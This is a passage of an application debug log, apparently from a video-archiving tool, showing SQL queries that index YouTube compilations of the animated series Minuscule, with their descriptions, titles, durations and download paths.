~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cicada Do Brasil | S01E44\n00:04:36 | Mad Fly | S01E55\n00:09:15 | Nap Time | S01E14\n00:14:04 | Cicadas’ Song | S01E16\n00:18:53 | Insect High Velocity | S01E53\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Cicada #Brazil #music #culture #fly #village #alarms #chaos #Minuscule #nature #insects #ladybugs #animatedseries", "Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation", "x5wGlJ5D6sQ", 1443, false, 4, "https://www.youtube.com/watch?v=x5wGlJ5D6sQ", "/downloads/Miniscule Season 1/2025-05-03 Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation/Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation [x5wGlJ5D6sQ].mkv", false, ~U[2025-05-03 18:00:51Z]] 00:54:34.065 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.067 [debug] QUERY OK source="media_items" db=0.9ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-29 06:00:55Z], 4] 00:54:34.069 [debug] QUERY OK source="media_items" db=2.1ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | No Luck | S01E62\n00:04:42 | Interior Cobwebs | S01E64\n00:09:09 | Windswept | S01E68\n00:13:58 | The Escapist | S01E59\n00:18:27 | The Persevering One | S01E31\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Luck #Interior #Spider #Chase #spiders #webs #fly #mishaps #Minuscule #nature #insects #ladybugs #animatedseries", "No Luck 🍀 Minuscule 🍃 30' Compilation", "01110812-36f4-4844-a784-b1038960f5d6", "smybKubrSgc", 1420, false, 4, "https://www.youtube.com/watch?v=smybKubrSgc", 52, "/downloads/Miniscule Season 1/2025-04-29 No Luck 🍀 Minuscule 🍃 30' Compilation/No Luck 🍀 Minuscule 🍃 30' Compilation [smybKubrSgc].mkv", false, false, false, [], 1, ~U[2025-04-29 06:00:55Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | No Luck | S01E62\n00:04:42 | Interior Cobwebs | S01E64\n00:09:09 | Windswept | S01E68\n00:13:58 | The Escapist | S01E59\n00:18:27 | The Persevering One | S01E31\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Luck #Interior #Spider #Chase #spiders #webs #fly #mishaps #Minuscule #nature #insects #ladybugs #animatedseries", "No Luck 🍀 Minuscule 🍃 30' Compilation", "smybKubrSgc", 1420, false, 4, "https://www.youtube.com/watch?v=smybKubrSgc", "/downloads/Miniscule Season 1/2025-04-29 No Luck 🍀 Minuscule 🍃 30' Compilation/No Luck 🍀 Minuscule 🍃 30' Compilation [smybKubrSgc].mkv", false, ~U[2025-04-29 06:00:55Z]] 00:54:34.070 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.072 [debug] QUERY OK source="media_items" db=0.9ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-24 10:01:52Z], 4] 00:54:34.075 [debug] QUERY OK source="media_items" db=2.1ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleeping In | S01E12\n00:04:49 | Totem | S01E28\n00:09:35 | Insect High Velocity | S01E53\n00:14:14 | Hyperactive | S01E54\n00:18:55 | The Wild Bunch | S01E74\n00:23:34 | No Exit | S01E61\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bees #nectar #flowers #genius #totem #ants #phone #anthill #Minuscule #nature #insects #ladybugs #animatedseries #cartoonsforkids #animationforkids #storytellingforkids", "Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids", "e6f6adcf-def9-4c7a-b216-57c8e14fef3c", "OWpYxqsIitY", 1724, false, 4, "https://www.youtube.com/watch?v=OWpYxqsIitY", 53, "/downloads/Miniscule Season 1/2025-04-24 Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids/Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids [OWpYxqsIitY].mp4", false, false, false, [], 1, ~U[2025-04-24 10:01:52Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleeping In | S01E12\n00:04:49 | Totem | S01E28\n00:09:35 | Insect High Velocity | S01E53\n00:14:14 | Hyperactive | S01E54\n00:18:55 | The Wild Bunch | S01E74\n00:23:34 | No Exit | S01E61\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bees #nectar #flowers #genius #totem #ants #phone #anthill #Minuscule #nature #insects #ladybugs #animatedseries #cartoonsforkids #animationforkids #storytellingforkids", "Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids", "OWpYxqsIitY", 1724, false, 4, "https://www.youtube.com/watch?v=OWpYxqsIitY", "/downloads/Miniscule Season 1/2025-04-24 Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids/Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids [OWpYxqsIitY].mp4", false, ~U[2025-04-24 10:01:52Z]] 00:54:34.075 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.077 [debug] QUERY OK source="media_items" db=0.9ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-19 18:01:00Z], 4] 00:54:34.080 [debug] QUERY OK source="media_items" db=1.9ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hiccups | S01E26\n00:04:44 | Catapult | S01E27\n00:09:31 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hiccups #grasshopper #jumps #mechanics #Catapult #jump #insects #Minuscule #nature #ladybugs #animatedseries", "Hiccups | Minuscule 🍃15' Compilation", "19e05832-5098-4abe-b4c5-15c2364ad75e", "wUz3vq87T1Y", 888, false, 4, "https://www.youtube.com/watch?v=wUz3vq87T1Y", 54, "/downloads/Miniscule Season 1/2025-04-19 Hiccups | Minuscule 🍃15' Compilation/Hiccups | Minuscule 🍃15' Compilation [wUz3vq87T1Y].mkv", false, false, false, [], 1, ~U[2025-04-19 18:01:00Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hiccups | S01E26\n00:04:44 | Catapult | S01E27\n00:09:31 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hiccups #grasshopper #jumps #mechanics #Catapult #jump #insects #Minuscule #nature #ladybugs #animatedseries", "Hiccups | Minuscule 🍃15' Compilation", "wUz3vq87T1Y", 888, false, 4, "https://www.youtube.com/watch?v=wUz3vq87T1Y", "/downloads/Miniscule Season 1/2025-04-19 Hiccups | Minuscule 🍃15' Compilation/Hiccups | Minuscule 🍃15' Compilation [wUz3vq87T1Y].mkv", false, ~U[2025-04-19 18:01:00Z]] 00:54:34.080 [debug] QUERY OK source="sources" db=0.5ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.082 [debug] QUERY OK source="media_items" db=0.9ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-05 18:00:54Z], 4] 00:54:34.085 [debug] QUERY OK source="media_items" db=2.0ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Quiet! | S01E60\n00:04:41 | Out Of A Tin Can | S01E65\n00:09:16 | O Tannenbaum | S01E71\n00:13:55 | A Gust Of Wind | S01E13\n00:18:37 | United We Stand | S01E23\n00:23:04 | Dung Beetle Blues | S01E42\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Quiet #Interior #Faucet #Spider #spider #fly #trap #harmony #Minuscule #nature #insects #ladybugs #animatedseries", "Quiet! | Minuscule 🍃 35' Compilation", "5d2fa619-2375-4496-8c89-3cec8a516746", "yca-oxPNnbs", 1704, false, 4, "https://www.youtube.com/watch?v=yca-oxPNnbs", 55, "/downloads/Miniscule Season 1/2025-04-05 Quiet! | Minuscule 🍃 35' Compilation/Quiet! | Minuscule 🍃 35' Compilation [yca-oxPNnbs].mp4", false, false, false, [], 1, ~U[2025-04-05 18:00:54Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Quiet! | S01E60\n00:04:41 | Out Of A Tin Can | S01E65\n00:09:16 | O Tannenbaum | S01E71\n00:13:55 | A Gust Of Wind | S01E13\n00:18:37 | United We Stand | S01E23\n00:23:04 | Dung Beetle Blues | S01E42\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Quiet #Interior #Faucet #Spider #spider #fly #trap #harmony #Minuscule #nature #insects #ladybugs #animatedseries", "Quiet! | Minuscule 🍃 35' Compilation", "yca-oxPNnbs", 1704, false, 4, "https://www.youtube.com/watch?v=yca-oxPNnbs", "/downloads/Miniscule Season 1/2025-04-05 Quiet! | Minuscule 🍃 35' Compilation/Quiet! | Minuscule 🍃 35' Compilation [yca-oxPNnbs].mp4", false, ~U[2025-04-05 18:00:54Z]] 00:54:34.085 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.087 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-03 10:01:32Z], 4] 00:54:34.089 [debug] QUERY OK source="media_items" db=2.0ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Narcissus | S01E47\n00:04:48 | Caterpillar Dream | S01E20\n00:09:38 | The Good Education | S01E56\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Narcissus #beetle #reflection #investigating #caterpillar #dream #insects #fly #Minuscule #nature #ladybugs #animatedseries", "Narcissus🪞Minuscule 🍃 15' Compilation", "cf37c870-abdf-4539-bd41-88e38bc7e05e", "uawfvkaEwGs", 896, false, 4, "https://www.youtube.com/watch?v=uawfvkaEwGs", 56, "/downloads/Miniscule Season 1/2025-04-03 Narcissus🪞Minuscule 🍃 15' Compilation/Narcissus🪞Minuscule 🍃 15' Compilation [uawfvkaEwGs].mkv", false, false, false, [], 1, ~U[2025-04-03 10:01:32Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Narcissus | S01E47\n00:04:48 | Caterpillar Dream | S01E20\n00:09:38 | The Good Education | S01E56\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Narcissus #beetle #reflection #investigating #caterpillar #dream #insects #fly #Minuscule #nature #ladybugs #animatedseries", "Narcissus🪞Minuscule 🍃 15' Compilation", "uawfvkaEwGs", 896, false, 4, "https://www.youtube.com/watch?v=uawfvkaEwGs", "/downloads/Miniscule Season 1/2025-04-03 Narcissus🪞Minuscule 🍃 15' Compilation/Narcissus🪞Minuscule 🍃 15' Compilation [uawfvkaEwGs].mkv", false, ~U[2025-04-03 10:01:32Z]] 00:54:34.090 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.092 [debug] QUERY OK source="media_items" db=0.9ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-25 07:00:45Z], 4] 00:54:34.095 [debug] QUERY OK source="media_items" db=2.1ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Mosquito Day Afternoon | S01E72\n00:04:39 | Come Christmas | S01E63\n00:09:18 | Dragonflies | S01E33\n00:14:02 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#mosquito #disaster #afternoon #livingroom #Christmas #snowing #fireplace #Minuscule #nature #insects #ladybugs #animatedseries", "A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation", "ccaa7e0c-48bd-4c45-b3e4-f85dd330ad5f", "YWRr8cm529M", 1143, false, 4, "https://www.youtube.com/watch?v=YWRr8cm529M", 57, "/downloads/Miniscule Season 1/2025-03-25 A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation/A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation [YWRr8cm529M].mp4", false, false, false, [], 1, ~U[2025-03-25 07:00:45Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Mosquito Day Afternoon | S01E72\n00:04:39 | Come Christmas | S01E63\n00:09:18 | Dragonflies | S01E33\n00:14:02 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#mosquito #disaster #afternoon #livingroom #Christmas #snowing #fireplace #Minuscule #nature #insects #ladybugs #animatedseries", "A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation", "YWRr8cm529M", 1143, false, 4, "https://www.youtube.com/watch?v=YWRr8cm529M", "/downloads/Miniscule Season 1/2025-03-25 A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation/A Mosquito Day Afternoon 🦟 Minuscule 🍃 25' Compilation [YWRr8cm529M].mp4", false, ~U[2025-03-25 07:00:45Z]] 00:54:34.096 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.097 [debug] QUERY OK source="media_items" db=0.9ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-13 11:01:31Z], 4] 00:54:34.100 [debug] QUERY OK source="media_items" db=2.2ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, 